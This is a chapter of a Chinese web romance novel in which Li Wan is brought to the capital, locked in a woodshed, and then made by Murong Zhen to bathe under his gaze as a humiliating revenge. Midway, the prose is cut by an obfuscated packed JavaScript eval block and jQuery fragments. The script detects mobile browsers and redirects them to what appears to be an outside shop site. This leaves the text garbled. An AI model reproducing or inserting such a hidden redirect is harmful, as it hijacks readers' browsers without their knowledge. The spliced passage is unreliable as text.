64. 第 64 章
作品:《断更后成为路人丫鬟》 从昆州到京城,快马加鞭需要十日,马车则多行七八日。令李晚没有想到的是,陈吉这一趟竟是特种兵式赶路,带着她十三天就进了京。
抵达城门口的那一刻,李晚整个人都是恍惚的。
回想这一路上,他们白天马不停蹄,晚上直接露宿野外,天还没亮就开始赶路,进城则立刻换马换车,李晚一度被马车颠到吐黄水儿,几天下来人直接萎靡到不行,脑浆被摇匀的感觉跟随了她一路。
这般疲惫的状态下,她甚至没功夫去思考,自己见到慕容真时该作何反应。
直到,她被带到眼前这座大司空府邸。
无论是顶上的烫金匾额,还是面前的朱门高阶,对李晚来说都十分陌生,但一想到那个人就在这座宅子里,她心里竟神奇地有种近乡情怯的感觉。
“别看了,走侧门。”
陈吉很不解风情,他把马车交给门房,就抬着下巴示意李晚进一旁的小门。
见李晚还在犹豫,陈吉眉心一皱,手已经按上了腰间剑柄:“都到了这儿了,你还想跑不成?”
李晚看他一眼,神色平静道:“陈护卫何出此言,我既然主动上了马车,就没想过要跑。”
因为连日赶路,她此刻的形容有些狼狈,脸上也颇有些憔悴之色,但唯独那双眼睛,始终透着坚韧。
陈吉对上那样一双眼睛,反驳的话顿时便说不出来,只能放下手,等着她进去。
李晚做了两回深呼吸,终于还是抬脚迈过门槛。
她不知道等待她的将会是什么样的命运,她只知道,她不愿再让那个人失望。
负了真心的人,理应得到惩罚。
她理应,得到惩罚。
陈吉不知道该把她安顿在哪,想着她好歹是个女人,便暂时将她送进了后院。
司空府的后院里只住着芙蓉郡主一个女主人,但她患有疯症,如今又卧病在床,她院里的事情都交由芷青姑姑和巧杏姑娘打理着,陈吉思虑再三,到底没敢惊动二人。
他自作主张把人关进了一处空院的柴房里,叫了两个婆子守着,自己扭头就去向慕容真复命了。
李晚被晾在满是蛛网和灰尘的柴房里,身边没水没吃食,甚至连个坐的地方都没有,她试着叫了门外两个婆子,人家压根不搭理她。
没办法,李晚只能忍。
时间一点一点过去,饶是她这般耐着性子,到后面还是有些撑不住。这期间肚饿口渴尚可忍耐,就是人有三急实不能忍,李晚被逼急了,只能从门缝里塞了两块银子出去,求那两个婆子放她去更衣。
外面两人分了银两,却没说放她出去,过了片刻,有人打开柴房门,“咣当”一声塞了个恭桶进来,又立刻严防死守地把门锁上了,速度快得李晚都来不及看清那两人的样貌。
插翅难飞,说的就是李晚现在的处境。
屋内昏暗,李晚看着地上那个乌七八糟的桶,瞬间觉得有些生无可恋。
等她解决完内急,外面突然起了动静,听着门外两个婆子异口同声喊了声“大人”,李晚顿时心中一凛,揪紧了胸前衣襟。
此时此刻,她这般模样,怎能见人?
然而,容不得她多想,门锁“咔”的一声落下,柴房门从外面被推开,落日余晖下,昏黄的霞光笔直闯了进来,李晚被刺得眯起眼睛,一时有些看不清外面的情形。
不过几息的时间,她的眼睛渐渐适应了光线,眼睫一眨,只见面前一道清癯的身影正逆着光静静站着,一袭紫色的官袍将来人衬得无比威严,光是一言不发地立在那里,便逼得人不敢直视。
李晚的目光停在他一丝不苟的袍角上,无需看他的脸,已从他的身上感受到了生人勿近的气息。
一道令她无法忽视的视线,如浪潮一般,瞬息之间将她裹挟。
李晚僵硬地杵在门边,始终不敢抬眼。
许久,无人出声。
李晚死死咬住嘴唇,平复片刻,终是颤颤抬起眼睛,对上那双幽深如渊的眸子。他眼底的情绪过于汹涌,令她一时之间竟分不清那到底是恨意,还是怒意。
慕容真面色冷峻地看了她许久,终是抬脚朝她走来。
如此心绪慌乱的情形下,李晚第一时间想起的,竟然是此刻自己身上的味道不太好闻。
连着坐了十几天的车,路上她都没能好好地洗个澡,刚才又……
想到这里,她下意识往后退了两步。
因为她的退却,慕容真脚下一顿,眼神骤然变得阴沉,仿佛要吃了她一般。
李晚被他这股气息骇得头皮发麻,不由颤着声音开口:“我……我要沐浴。”
说完,她便后悔了。
久别重逢,她本该鼓足勇气向他道歉,真心诚意地诉说自己这五年来的愧疚,不承想,一开口竟是要沐浴……
“……”慕容真无言看她片刻,这才发觉她身上的狼狈,那松散的发髻几乎要撑不住发簪,脸上的尘土还未洗净,裙上还沾着蜘蛛网,整个人瞧着和路边的难民差不多。
再一看关她的这间柴房,里面昏暗脏乱,根本没有落脚之处。
“陈吉。”
陈吉应声上前。
慕容真看也没看他一眼:“下去,站桩两个时辰。”
陈吉一听,脸色顿时就垮了,偏他还不敢问为什么,这种时候,但凡不开窍多问一句,大人必定加倍罚他!
他眼角余光瞥了眼李晚,到底丧着脸退了下去。没办法,大人向来说一不二,要他站桩两个时辰,那他少站一刻钟都不行。
慕容真罚完了人,转头吩咐几个婆子:“带她去十方斋,备浴汤。”
见他没上来掐自己脖子,也没咆哮质问自己,还让人带她下去沐浴,李晚心里愈发忐忑起来。
这种情况下,对方不是在沉默中爆发,就是在沉默中变态,李晚根本不敢想他待会儿会如何处置自己。
等到了地方,她悄悄抬眼一看,那院子果真叫“十方斋”,竟是一字未改,倒让她有种梦回宁国公府的错觉。
李晚跟着人进浴房的功夫,慕容真不知何时也到了,身上还换了件雪青色宽袖常服
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874241|184310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,周身气势瞧着不似官袍那般充满压迫感,让所有人的神经都放松不少。
这院子里似乎没有年轻丫鬟,一旁准备伺候她沐浴的都是有些年纪的仆妇和婆子,李晚不习惯让人服侍,尴尬地站了片刻,终于还是开口:“我自己来。”
仆妇和婆子们都垂着头不动,少倾,慕容真的声音传来:“都下去吧。”
一群人立刻放下手里的东西鱼贯而出,李晚等了片刻,没等到慕容真出去,反倒等来两个健硕的婆子搬进来一张太师椅。
两人将那张颇有些分量的椅子摆在慕容真身后,随后垂着眼睛出去,顺手带上了浴房的门。
李晚愣愣地站在浴桶边,桶里热水飘着花瓣,氤氲的雾气里带出一股清甜的花香,她透过这缥缈的白雾去看慕容真,不知道是不是环境导致她出现了幻觉,有那么一瞬间,她竟从他的眼里看到了一丝久违的柔情。
然而,对方下一刻就打破了她的幻想。
只见慕容真一撩袍子,在她面前从容坐下,眼睛一瞬不瞬地盯住她。
“洗吧。”
李晚浑身一僵,一度以为是自己听错了。
许是她眼神里流露的不可思议泄露了她内心的想法,慕容真随之轻笑一声,语气中带着一丝刻意而为的恶劣:“怎么?你浑身上下,我哪里没有看过?”
这种话,无异于羞辱。
李晚僵住片刻,渐渐反应过来。
——这是他宣泄怒火的方式,是对她故意实行的报复。
“……”
李晚压下那一瞬间生出的屈辱感,就这么与他对视着。
如果非要这样才能让他放下过去,解开当年的心结,那她,甘愿接下他的怒火。
她在他毫无遮掩的注视下,缓缓除去钗环,一头乌黑的长发顿时如瀑布倾泻,散落在肩头。
慕容真盯着她漆黑如墨的头发,不知为何,忽然皱了皱眉。
外衣随着钗环落地,随后是里衣,李晚指尖未停,面色平静地解开最后一件海棠红亵衣,将自己完完整整地暴露在他面前。
他说的没错,她身上的每一处,都曾被他的目光一寸一寸地丈量过。
他们之间最亲密的时候,甚至互相在对方的身体上留下过隐秘的痕迹。
不过是在他面前一丝卜挂而已,她怕什么。
李晚垂下眸子,知道他还在看她,于是,她尽量让自己表现得从容。
好像只有这样,才能尽可能地不让自己感觉到被羞辱。
舌尖上尝到一丝淡淡的铁锈味,李晚缓缓松开牙齿,露出艳红欲滴的唇。
她侧过身,抬脚迈进浴桶,将整个身体没入水中,只留下侧脸对着慕容真。
他的视线炙热到令人无法忽视。
而李晚,已没有回视他的勇气。
她沉默着,掬了把水,打湿了自己的脸庞。
慕容真端坐在太师椅上,浴房里蒸腾的热气仿佛熏疼了他的眼睛,令他眼底漫上一层猩红。
良久,他哑声问她:“你,嫁人了?”

